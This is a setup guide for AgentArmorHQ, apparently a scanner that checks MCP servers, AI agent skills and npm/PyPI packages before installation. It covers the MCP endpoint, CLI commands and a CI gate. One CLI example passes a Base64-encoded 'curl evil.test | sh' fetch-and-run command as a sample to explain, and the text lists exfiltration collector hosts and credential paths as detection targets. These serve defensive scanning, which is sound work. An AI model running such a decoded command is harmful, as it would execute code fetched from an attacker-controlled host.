

AgentArmorHQ | MCP Server, Pre-Install CLI & Engine Guide

Step-by-step setup for Claude Code, Cursor, Claude Desktop, Terminal CLI & CI/CD | <https://agentarmorhq.com/integrations>

1. How AgentArmorHQ Works (4-Layer Deterministic Engine - \$0 AI Spend)

AgentArmorHQ inspects AI agent skills, MCP servers, npm packages, PyPI packages, and GitHub repositories without ever executing or importing untrusted code. Every check runs through 4 deterministic layers:

- * Layer 1 - Catalog & Threat Research (<10ms): Matches against 41,500+ graded skills/MCPs, OSV malware advisories, incident reports, typosquat edit-distance rules, and known exfiltration collector hosts (webhook.site, oastify).
- * Layer 2 - Pre-Install Static AST & Deobfuscation (<25ms): Parses package.json hooks (preinstall/postinstall), setup.py, binding.gyp, inline node -e / python -c code, and unwraps Base64/hex payloads into plain English.
- * Layer 3 - Source-to-Sink Data-Flow & Version Diffing: Tracks whether local credential reads (~/.ssh, ~/.aws, .env) connect to outbound network calls, and compares current releases against prior versions across 8 dimensions.
- * Layer 4 - Hardened Configs, MCP & CLI Gate: Strips live secrets locally in your browser/CLI and outputs version-pinned commands with --ignore-scripts so install-time lifecycle hooks cannot execute.

2. How to Connect AgentArmorHQ MCP Server to Claude & Cursor

Endpoint URL: <https://agentarmorhq.com/api/mcp> (JSON-RPC 2.0 Streamable HTTP transport)

Available MCP Tools: check_package, check_mcp_config, explain_command, search_skills

OPTION A: CLAUDE CODE CLI (ONE COMMAND)

```
claude mcp add --transport http agentarmor https://agentarmorhq.com/api/mcp
```

OPTION B: CURSOR (.CURSOR/MCP.JSON) OR CLAUDE DESKTOP (CLAUDE_DESKTOP_CONFIG.JSON)

```
{
  "mcpServers": {
    "agentarmor": {
      "url": "https://agentarmorhq.com/api/mcp"
    }
  }
}
```

OPTION C: LOCAL STUDIO BRIDGE (IF YOUR MCP CLIENT REQUIRES A LOCAL COMMAND)

1. Download the zero-dependency CLI script once:

```
curl -fsSL https://agentarmorhq.com/api/cli -o ~/agentarmor-cli.mjs
```

2. Add to mcpServers: { "command": "node", "args": ["/Users/you/agentarmor-cli.mjs", "mcp"] }

What to ask Claude or Cursor once connected:

- * "Check @modelcontextprotocol/server-filesystem with AgentArmorHQ before installing it."
- * "Run AgentArmorHQ check_mcp_config on my .cursor/mcp.json and give me the hardened config."
- * "Use AgentArmorHQ explain_command to unwrap this postinstall script and tell me what it does."

AgentArmorHQ | MCP Server, Pre-Install CLI & Engine Guide

Step-by-step setup for Claude Code, Cursor, Claude Desktop, Terminal CLI & CI/CD | <https://agentarmorhq.com/integrations>

3. How to Use the Pre-Install CLI Utility (Terminal & CI/CD)

AgentArmorHQ provides a zero-dependency Node.js CLI (Node 18+) at <https://agentarmorhq.com/api/cli>. You can run it directly as a one-liner or save it locally for repeated terminal and CI checks.

1. INSTANT ONE-LINER PACKAGE CHECK (NO INSTALLATION REQUIRED)

```
curl -fsSL https://agentarmorhq.com/api/cli \
| node --input-type=module - check "@modelcontextprotocol/server-filesystem"
```

2. DOWNLOAD LOCALLY & RUN ALL 4 CLI COMMANDS

```
curl -fsSL https://agentarmorhq.com/api/cli -o agentarmor-cli.mjs && chmod +x agentarmor-cli.mjs
```

```
# Check a package (exits with code 1 if reported malicious, or on Grade D/F with --strict):
node agentarmor-cli.mjs check npm:imgdecode@1.0.3 --strict
```

```
# Inspect a local MCP or package.json config (API keys are redacted locally before upload):
node agentarmor-cli.mjs config ~/.cursor/mcp.json
```

```
# Unwrap Base64/hex payloads and explain what a suspicious command or hook does:
node agentarmor-cli.mjs explain "echo Y3VyYCBodHRwczovL2V2aWwudGVzdC9zIHwgc2g= | base64 -d | sh"
```

```
# Search 41,500+ graded AI skills and MCP connectors from the terminal:
node agentarmor-cli.mjs search "postgres"
```

3. GITHUB ACTIONS / CI PIPELINE GATE EXAMPLE

```
- name: AgentArmorHQ Pre-Install Gate
  run: |
    curl -fsSL https://agentarmorhq.com/api/cli -o agentarmor-cli.mjs
    node agentarmor-cli.mjs config ./package.json
    node agentarmor-cli.mjs check "@modelcontextprotocol/server-filesystem" --strict
```

4. Built-In Security Hardening & Best Practices

- * **Local Secret Redaction:** Both the Web Config Checker and CLI automatically replace live tokens (ghp_*, github_pat_*, sk-*, sk_live_*, AKIA*, npm_*, xoxb-*, Alza*, JWTs) with [REDACTED_BY_AGENTARMOR] on your device before any request is sent over the network.
- * **Zero Untrusted Execution:** Package files are inspected as static text and AST trees; code is never run.
- * **HTTPS-Only Transport & Timeouts:** The CLI refuses non-HTTPS remote URLs, enforces a 10s timeout on every request, and caps local config files at 256 KB.
- * **API Rate Limiting & Payload Guards:** /api/mcp enforces 60 req/min per IP, a 64 KB body cap (HTTP 413), a max batch size of 5 JSON-RPC calls, strict PostgREST allowlists, and nosniff/DENY security headers.
- * **Always Block Lifecycle Scripts:** Install npm packages with "npm install --ignore-scripts --save-exact" and Python packages with "pip install --only-binary=:all:" so postinstall hooks cannot run.